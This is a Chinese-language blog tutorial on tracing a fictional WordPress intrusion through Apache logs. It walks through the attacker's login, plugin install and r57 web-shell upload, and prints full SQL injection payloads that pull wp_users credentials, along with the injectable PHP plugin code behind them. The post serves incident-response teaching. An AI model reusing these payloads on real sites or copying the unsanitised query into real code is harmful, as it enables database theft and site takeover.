美文网首页
溯源分析

溯源分析

作者: 红色火苗 | 来源:发表于2017-11-27 19:00 被阅读0次

一、从web容器日志入手:

查看并筛选日志

cat /var/log/apache2/access.log | grep -E "wp-admin|wp-login|POST /"

这行命令会将access.log文件中包含
wp-admin、
wp-login以及
POST等关键字的记录筛选出来。
其中,wp-admin是WordPress的默认管理员文件夹,
wp-login是WordPress的登陆文件,
POST方法表明发送至服务器端的HTTP请求使用的是POST方法
一般来说都是登录表单提交。

过滤结果包含多条数据,在经过仔细分析之后,我们将注意力主要集中在以下数据上

···
84.55.41.57 - - [17/Apr/2016:06:52:07 +0100] "GET /wordpress/wp-admin/ HTTP/1.1" 200 12349 "http://www.example.com/wordpress/wp-login.php" "Mozilla/5.0 (Windows NT 6.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"
···

我们可以看到,IP地址84.55.41.57成功访问了WordPress后台目录。

让我们看看这个IP地址的用户还有什么。我们再次使用grep过滤该IP的access.log。

root@secureserver:~#cat /var/log/apache2/access.log | grep 84.55.41.57

我们来分析一下这些记录。

攻击者访问了网站的登录界面:

<pre class="brush:html;toolbar:false" style="box-sizing: border-box; font-family: "Microsoft YaHei" !important; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 10px; word-wrap: break-word; background-color: rgb(241, 241, 241); white-space: pre-wrap; line-height: 26px; color: rgb(102, 102, 102) !important; font-size: medium; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px;">84.55.41.57 - GET /wordpress/wp-login.php 200</pre>

攻击者提交了登录表单(POST方法),网站重定向成功(302 HTTP状态码):

<pre class="brush:html;toolbar:false" style="box-sizing: border-box; font-family: "Microsoft YaHei" !important; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 10px; word-wrap: break-word; background-color: rgb(241, 241, 241); white-space: pre-wrap; line-height: 26px; color: rgb(102, 102, 102) !important; font-size: medium; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px;">84.55.41.57 - POST /wordpress/wp-login.php 302</pre>

攻击者被重定向到了wp-admin(WordPress仪表盘),这意味着攻击者成功通过了身份验证:

<pre class="brush:html;toolbar:false" style="box-sizing: border-box; font-family: "Microsoft YaHei" !important; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 10px; word-wrap: break-word; background-color: rgb(241, 241, 241); white-space: pre-wrap; line-height: 26px; color: rgb(102, 102, 102) !important; font-size: medium; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px;">84.55.41.57 - GET /wordpress/wp-admin/ 200</pre>

攻击者访问了网站的主题编辑器:

<pre class="brush:html;toolbar:false" style="box-sizing: border-box; font-family: "Microsoft YaHei" !important; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 10px; word-wrap: break-word; background-color: rgb(241, 241, 241); white-space: pre-wrap; line-height: 26px; color: rgb(102, 102, 102) !important;">84.55.41.57 - GET /wordpress/wp-admin/theme-editor.php 200</pre>

攻击者尝试去编辑404.php文件,很多攻击者都会向这个文件注入恶意代码,这是一种常见的攻击技巧。但由于缺少文件写入权限,所以攻击者没能成功:

<pre class="brush:html;toolbar:false" style="box-sizing: border-box; font-family: "Microsoft YaHei" !important; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 10px; word-wrap: break-word; background-color: rgb(241, 241, 241); white-space: pre-wrap; line-height: 26px; color: rgb(102, 102, 102) !important;">84.55.41.57 - GET /wordpress/wp-admin/theme-editor.php?file=404.php&theme= twentysixteen 200</pre>

攻击者还访问了插件安装器:

<pre class="brush:html;toolbar:false" style="box-sizing: border-box; font-family: "Microsoft YaHei" !important; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 10px; word-wrap: break-word; background-color: rgb(241, 241, 241); white-space: pre-wrap; line-height: 26px; color: rgb(102, 102, 102) !important; font-size: medium; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px;">84.55.41.57 - GET /wordpress/wp-admin/plugin-install.php 200</pre>

攻击者安装并激活了file-namager插件:

<pre class="brush:html;toolbar:false" style="box-sizing: border-box; font-family: "Microsoft YaHei" !important; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 10px; word-wrap: break-word; background-color: rgb(241, 241, 241); white-space: pre-wrap; line-height: 26px; color: rgb(102, 102, 102) !important; font-size: medium; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px;">84.55.41.57 - GET /wordpress/wp-admin/update.php?action=install-plugin&plugin= file-manager &_wpnonce=3c6c8a7fca 200
84.55.41.57 - GET /wordpress/wp-admin/plugins.php?action=activate&plugin=file-manager%2Ffile-manager.php&_wpnonce=bf932ee530 200</pre>

攻击者使用file-namager插件上传了r57.php

<pre class="brush:html;toolbar:false" style="box-sizing: border-box; font-family: "Microsoft YaHei" !important; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 10px; word-wrap: break-word; background-color: rgb(241, 241, 241); white-space: pre-wrap; line-height: 26px; color: rgb(102, 102, 102) !important; font-size: medium; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px;">84.55.41.57 - GET /wordpress/wp-admin/admin-ajax.php?action=connector& cmd= upload&target=l1_d3AtY29udGVudA&name%5B%5D=r57.php&FILES=&_=1460873968131 200</pre>

日志表明,攻击者成功运行了r57 Shell脚本。查询字符串”?1”和”?28”表明攻击者通过脚本代码进行了网站导航,不过他什么也没有发现:

<pre class="brush:html;toolbar:false" style="box-sizing: border-box; font-family: "Microsoft YaHei" !important; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 10px; word-wrap: break-word; background-color: rgb(241, 241, 241); white-space: pre-wrap; line-height: 26px; color: rgb(102, 102, 102) !important;">84.55.41.57 - GET /wordpress/wp-content/r57.php 200
84.55.41.57 - POST /wordpress/wp-content/r57.php?1 200
84.55.41.57 - GET /wordpress/wp-content/r57.php?28 200</pre>

根据上述信息。我们得到了攻击者所有恶意活动的时间轴。但目前还有一个问题没有弄清楚,即攻击者一开始是如何得到管理员凭证的?

假设管理员密码既没有泄漏也没有被暴力破解,那么我们就得回头看看我们是不是忽略了什么信息。

当前这份access.log中并不包含任何有关管理员凭证得线索,不过我们并不是只有一个access.log文件可以调查。Apache HTTP服务器中还提供了很多其他的日志文件,比如说/var/log/apache2/目录下就有四个可以调查的日志文件。首先,我们可以过滤出包含IP地址 84.55.41.57的日志条目。我们发现,其中有一份日志文件中包含了大量与SQL注入攻击(貌似针对的是一个自定义插件)有关的记录信息:

<pre class="brush:html;toolbar:false" style="box-sizing: border-box; font-family: "Microsoft YaHei" !important; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 10px; word-wrap: break-word; background-color: rgb(241, 241, 241); white-space: pre-wrap; line-height: 26px; color: rgb(102, 102, 102) !important;">84.55.41.57- - [14 / Apr / 2016:08:22:13 0100]“GET /wordpress/wp-content/plugins/custom_plugin/check_user.php?userid=1 AND(SELECT 6810 FROM(SELECT COUNT() ,CONCAT(0x7171787671,(SELECT(ELT(6810 = 6810,1))),0x71707a7871,FLOOR(RAND(0) 2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)HTTP / 1.1“200 166” “Mozilla / 5.0(Windows; U; Windows NT 6.1; ru; rv:1.9.2.3)Gecko / 20100401 Firefox / 4.0(.NET CLR 3.5.30729)”
84.55.41.57- - [14 / Apr / 2016:08:22:13 0100]“GET /wordpress/wp-content/plugins/custom_plugin/check_user.php?userid=(SELECT 7505 FROM(SELECT COUNT(),CONCAT (0x7171787671,(SELECT(ELT(7505 = 7505,1))),0x71707a7871,FLOOR(RAND(0) 2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)HTTP / 1.1“200 166” - “” Mozilla / 5.0(Windows; U; Windows NT 6.1; ru; rv:1.9.2.3)Gecko / 20100401 Firefox / 4.0(.NET CLR 3.5.30729)“
84.55.41.57- - [14 / Apr / 2016:08:22:13 0100]“GET /wordpress/wp-content/plugins/custom_plugin/check_user.php?userid=(SELECT CONCAT(0x7171787671,(SELECT(ELT(1399 = / /(Windows; U; Windows NT 6.1; ru; rv:1.9.2.3)Gecko / 20100401 Firefox / 4.0(.NET) CLR 3.5.30729)“
84.55.41.57- - [14 / Apr / 2016:08:22:27 0100]“GET /wordpress/wp-content/plugins/custom_plugin/check_user.php?userid=1 UNION ALL SELECT CONCAT(0x7171787671,0x537653544175467a724f,0x71707a7871) ,NULL,NULL - HTTP / 1.1“200 182” - “”Mozilla / 5.0(Windows; U; Windows NT 6.1; ru; rv:1.9.2.3)Gecko / 20100401 Firefox / 4.0(.NET CLR 3.5.30729) “</pre>

我们假设这个插件是系统管理员从网上直接下载并拷贝到网站之中的,而这个脚本可以根据给定的ID来查询用户的合法性。该插件在网站的主页面中提供了一个表单,该表单会向/wordpress/wp-content/plugins/custom_plugin/check_user.php发送一个AJAX GET请求。

通过对check_user.php文件进行了分析之后,我们发现这个脚本的代码写得非常烂,而且存在SQL注入漏洞:

<pre class="brush:html;toolbar:false" style="box-sizing: border-box; font-family: "Microsoft YaHei" !important; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 10px; word-wrap: break-word; background-color: rgb(241, 241, 241); white-space: pre-wrap; line-height: 26px; color: rgb(102, 102, 102) !important;"><?php
//Include the WordPress header
include('/wordpress/wp-header.php');
global $wpdb;
// Use the GET parameter ‘userid’ as user input
$id=$_GET['userid'];
// Make a query to the database with the value the user supplied in the SQL statement
$users = $wpdb->get_results( "SELECT * FROM users WHERE user_id=$id");
?></pre>

上述信息表明,攻击者使用了SQL注入工具来利用这个插件所带来的SQL注入漏洞,而且这款漏洞利用工具尝试了多种SQL注入技术来枚举数据库名、表名和列名:

<pre class="brush:html;toolbar:false" style="box-sizing: border-box; font-family: "Microsoft YaHei" !important; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 10px; word-wrap: break-word; background-color: rgb(241, 241, 241); white-space: pre-wrap; line-height: 26px; color: rgb(102, 102, 102) !important;"> /wordpress/wp-content/plugins/my_custom_plugin/check_user.php?userid=-6859 UNION ALL SELECT (SELECT CONCAT(0x7171787671,IFNULL(CAST(ID AS CHAR),0x20),0x616474686c76,IFNULL(CAST(display_name AS CHAR),0x20),0x616474686c76,IFNULL(CAST(user_activation_key AS CHAR),0x20),0x616474686c76,IFNULL(CAST(user_email AS CHAR),0x20),0x616474686c76,IFNULL(CAST(user_login AS CHAR),0x20),0x616474686c76,IFNULL(CAST(user_nicename AS CHAR),0x20),0x616474686c76,IFNULL(CAST(user_pass AS CHAR),0x20),0x616474686c76,IFNULL(CAST(user_registered AS CHAR),0x20),0x616474686c76,IFNULL(CAST(user_status AS CHAR),0x20),0x616474686c76,IFNULL(CAST(user_url AS CHAR),0x20),0x71707a7871) FROM wp.wp_users LIMIT 0,1),NULL,NULL--</pre>

注:有关SQL注入漏洞的解决方案请参考这篇文章

上述信息足以表明网站的WordPress数据库遭到了攻击,而数据库中存储的数据很可能已经发生了泄露。

分析

通过此次调查,我们还原了攻击事件链。

如何从日志文件溯源出攻击手法?

不过仍有问题存在,比如说攻击者到底是谁?目前来说,我们只知道攻击者的IP地址,而且攻击者一般都会使用代理服务器或类似Tor这样的匿名网络来掩盖其真实的IP地址。除非攻击者留下了与他真实身份有关的证据,否则我们很难得知攻击者的真实身份。

在对日志记录进行了分析之后我们得知,网站管理员所使用的那款自定义WordPress插件中存在安全漏洞,并导致了SQL注入攻击的发生。但如果网站在真正上线之前进行了完整的安全漏洞测试的话,攻击者肯定就无法利用这种漏洞来实施攻击了。

在上面这个我虚构出的例子中,攻击者其实是非常草率的,因为他留下了大量攻击痕迹和取证证据,而这些信息将给调查人员提供很大的帮助。但在真实的攻击场景中,攻击者可不会留下多少有用的信息。

相关文章

  • 溯源分析

    一、从web容器日志入手: 查看并筛选日志 这行命令会将access.log文件中包含wp-admin、wp-lo...

  • 6.9 溯源分析

    6.9.1. 攻击机溯源技术 6.9.1.1. 基于日志的溯源   使用路由器、主机等设备记录网络传输的数据流中的...

  • 日常密码泄露分析溯源

    背景介绍: 小军山城(重庆)人士,1993年出生建军节.现在就职于某科技公司。2015年一个美好的日子情人节,认识...

  • Joomla插件漏洞分析溯源

    joomla插件存在漏洞,找到具体存在位置 Joomla!是一套全球知名的内容管理系统。Joomla!是使用PHP...

  • 【实战学习】电子数据取证专题——网络数据分析溯源

    电子数据取证专题-网络数据分析溯源 新题来了!!! 网络取证对网络入侵事件、网络犯罪活动进行证据获取、保存、分析和...

  • 1 | Why and How

    Why ? 1、理解面向对象中的相关概论,追本溯源,做到有据可依,有章可循。可以学习到有一种通用的分析方法,分析步...

  • 路径

    路径 路径,是经济学假定理性分析的基石。 拜总要情报部门的新冠溯源是典型的路径错误。病毒的溯源是一个科学问题:须跨...

  • 上传文件绕过姿势

    限制上传文件扩展名 WebShell文件上传漏洞分析溯源(第1题) https://www.mozhe.cn/bu...

  • 墨者学院-WebShell文件上传漏洞分析溯源(第1题)

    WebShell文件上传漏洞分析溯源(第1题) 思路 是否可以前端绕过 是否开启mime 是否开启getimage...

  • 方案

    硬件建议 配置 操作系统 用途 系统性能 流程 数据来源 数据采集(汇报)方式 溯源查询 数据分析

网友评论

      本文标题:溯源分析

      本文链接:https://www.haomeiwen.com/subject/pindbxtx.html